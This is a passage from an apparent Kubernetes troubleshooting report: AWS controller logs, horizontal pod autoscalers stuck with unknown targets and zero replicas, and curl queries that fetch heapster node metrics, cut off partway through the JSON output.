ip-10-0-8-31.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} \r i1107 13:13:10.382122       6 aws_loadbalancer.go:428  instances removed from load-balancer a31587ec1a92b11e78d090ea16c9d111\r i1107 13:13:10.535275       6 aws.go:3180  returning cached instances for map ip-10-0-8-230.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} \r i1107 13:13:10.578876       6 aws_loadbalancer.go:428  instances removed from load-balancer a762339239bd411e7a2141252c780286\r i1107 13:13:10.694876       6 aws.go:3180  returning cached instances for map ip-10-0-8-124.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} \r i1107 13:13:10.740638       6 aws_loadbalancer.go:428  instances removed from load-balancer a7a8d9199a92a11e78d090ea16c9d111\r i1107 13:13:10.843341       6 aws.go:3180  returning cached instances for map ip-10-0-8-244.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} \r i1107 13:13:10.888535       6 aws_loadbalancer.go:428  instances removed from load-balancer a75eca6719bd411e7a2141252c780286\r i1107 13:13:10.992969       6 aws.go:3180  returning cached instances for map ip-10-0-8-230.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} \r i1107 13:13:11.042596       6 aws_loadbalancer.go:428  instances removed from load-balancer a760347679bd411e7a2141252c780286\r i1107 13:13:11.146742       6 aws.go:3180  returning cached instances for map ip-10-0-8-91.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} \r i1107 13:13:11.191576       6 aws_loadbalancer.go:428  instances removed from load-balancer a75a832179bd411e7a2141252c780286\r i1107 13:13:11.307703       6 aws.go:3180  returning cached instances for map ip-10-0-8-47.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} \r i1107 13:13:11.350856       6 aws_loadbalancer.go:428  instances removed from load-balancer a7662eff69bd411e7a2141252c780286\r i1107 13:13:11.451321       6 aws.go:3180  returning cached instances for map ip-10-0-8-230.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} \r i1107 13:13:11.517737       6 aws_loadbalancer.go:428  instances removed from load-balancer a7652c56a9bd411e7a2141252c780286\r i1107 13:13:11.631173       6 aws.go:3180  returning cached instances for map ip-10-0-8-136.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} \r i1107 13:13:11.679683       6 aws_loadbalancer.go:428  instances removed from load-balancer a8b45feeda2f311e785201252c780286\r i1107 13:13:11.819451       6 aws.go:3180  returning cached instances for map ip-10-0-8-81.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} \r i1107 13:13:11.869454       6 aws_loadbalancer.go:428  instances removed from load-balancer aa1f4688c9e4411e7a2141252c780286\r i1107 13:13:12.115200       6 aws.go:3180  returning cached instances for map ip-10-0-8-201.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} \r i1107 13:13:12.155230       6 aws_loadbalancer.go:428  instances removed from load-balancer af7246fc6a93911e78d090ea16c9d111\r i1107 13:13:12.258741       6 aws.go:3180  returning cached instances for map ip-10-0-8-133.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} \r i1107 13:13:12.306817       6 aws_loadbalancer.go:428  instances removed from load-balancer a76330c389bd411e7a2141252c780286\r i1107 13:13:12.436132       6 aws.go:3180  returning cached instances for map ip-10-0-8-23.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} \r i1107 13:13:12.500093       6 aws_loadbalancer.go:428  instances removed from load-balancer a553b1ec1b83011e7b4cd1252c780286\r i1107 13:13:12.603590       6 aws.go:3180  returning cached instances for map ip-10-0-8-87.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} \r i1107 13:13:12.643728       6 aws_loadbalancer.go:428  instances removed from load-balancer af734c1d6a93911e78d090ea16c9d111\r i1107 13:13:12.747540       6 aws.go:3180  returning cached instances for map ip-10-0-8-230.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} \r i1107 13:13:12.807380       6 aws_loadbalancer.go:428  instances removed from load-balancer a767360149bd411e7a2141252c780286\r i1107 13:13:12.956047       6 aws.go:3180  returning cached instances for map ip-10-0-8-80.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} \r i1107 13:13:13.005182       6 aws_loadbalancer.go:428  instances removed from load-balancer aa77ed9eb9bd411e7a2141252c780286\r i1107 13:13:13.126112       6 aws.go:3180  returning cached instances for map ip-10-0-8-136.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} \r i1107 13:13:13.199552       6 aws_loadbalancer.go:428  instances removed from load-balancer a76425f1d9bd411e7a2141252c780286\r i1107 13:13:13.296288       6 aws.go:3180  returning cached instances for map ip-10-0-8-201.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} \r i1107 13:13:13.364725       6 aws_loadbalancer.go:428  instances removed from load-balancer a51be21529d7011e78d020ea16c9d111\r i1107 13:13:13.503368       6 aws.go:3180  returning cached instances for map ip-10-0-8-80.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-183.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} \r i1107 13:13:13.557144       6 aws_loadbalancer.go:428  instances removed from load-balancer a3dbfd46aa86311e7aa550ad52abe266\r i1107 13:13:13.670251       6 aws.go:3180  returning cached instances for map ip-10-0-8-183.ec2.internal:{} ip-10-0-8-244.ec2.internal:{} ip-10-0-8-113.ec2.internal:{} ip-10-0-8-201.ec2.internal:{} ip-10-0-8-243.ec2.internal:{} ip-10-0-8-135.ec2.internal:{} ip-10-0-8-210.ec2.internal:{} ip-10-0-8-80.ec2.internal:{} ip-10-0-8-31.ec2.internal:{} ip-10-0-8-17.ec2.internal:{} ip-10-0-8-87.ec2.internal:{} ip-10-0-8-91.ec2.internal:{} ip-10-0-8-146.ec2.internal:{} ip-10-0-8-136.ec2.internal:{} ip-10-0-8-47.ec2.internal:{} ip-10-0-8-24.ec2.internal:{} ip-10-0-8-230.ec2.internal:{} ip-10-0-8-133.ec2.internal:{} ip-10-0-8-36.ec2.internal:{} ip-10-0-8-124.ec2.internal:{} ip-10-0-8-154.ec2.internal:{} ip-10-0-8-23.ec2.internal:{} ip-10-0-8-196.ec2.internal:{} ip-10-0-8-81.ec2.internal:{} ip-10-0-8-125.ec2.internal:{} \r i1107 13:13:13.712067       6 aws_loadbalancer.go:428  instances removed from load-balancer a75ddabcf9bd411e7a2141252c780286\r i1107 13:13:13.841103       6 servicecontroller.go:671  successfully updated 35 out of 35 load balancers to direct traffic to the updated set of nodes\r \r ...\r \r  i have many more logs after this point but i'm not sure if they are relevent. \r    \r \r \r this is how all my hpas look now  they have all been working perfectly fine for weeks before this :\r    \r namespace             name               reference                     targets           minpods   maxpods   replicas   age\r cashier-production    cashier            deployment/cashier            <unknown> / 40%   3         15        0          20h\r core-api-production   core-api-agent     deployment/core-api-agent     <unknown> / 60%   75        250       0          1d\r core-api-production   core-api-echo      deployment/core-api-echo      <unknown> / 50%   15        100       0          1d\r core-api-production   core-api-sidekiq   deployment/core-api-sidekiq   <unknown> / 60%   125       400       0          1d\r fusion                fusion             deployment/fusion             <unknown> / 30%   1         5         0          16h\r    \r \r i've tried deleting and recreating some of the hpas but the  targets  are always  <unknown> ,  replicas  stay at  0  and  events  are always  <none> .\r \r -----\r \r     some further troubleshooting i did\r  based on this similar  issue 45961  https://github.com/kubernetes/kubernetes/issues/45961  \r \r i can get a list of all nodes' metrics similar to what the hpa controller does:\r    \r curl --cacert /srv/kubernetes/ca.crt -u 'xxxuserxxx:xxxpassxxx' https://$master_ip/api/v1/namespaces/kube-system/services/heapster/proxy/apis/metrics/v1alpha1/nodes\r  also works the same from inside an ubuntu pod in the kube-system namespace: curl https://kubernetes.default.svc.cluster.local/api/v1/namespaces/kube-system/services/heapster/proxy/apis/metrics/v1alpha1/nodes \r {\r   \ metadata\ : {},\r   \ items\ :  \r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-18.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 779m\ ,\r      \ memory\ : \ 8941808ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-47.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 12007m\ ,\r      \ memory\ : \ 31384124ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-113.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 15547m\ ,\r      \ memory\ : \ 29480560ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-8.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 17334m\ ,\r      \ memory\ : \ 27563280ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-87.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 12487m\ ,\r      \ memory\ : \ 27847520ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-230.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 13543m\ ,\r      \ memory\ : \ 32208600ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-146.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 14891m\ ,\r      \ memory\ : \ 30200604ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-189.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 15155m\ ,\r      \ memory\ : \ 25112336ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-98.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 8510m\ ,\r      \ memory\ : \ 19374576ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-183.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 16527m\ ,\r      \ memory\ : \ 32584160ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-81.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 16167m\ ,\r      \ memory\ : \ 30838696ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-36.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 211m\ ,\r      \ memory\ : \ 28323976ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-170.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 401m\ ,\r      \ memory\ : \ 5396604ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-136.ec2.internal\ ,\r      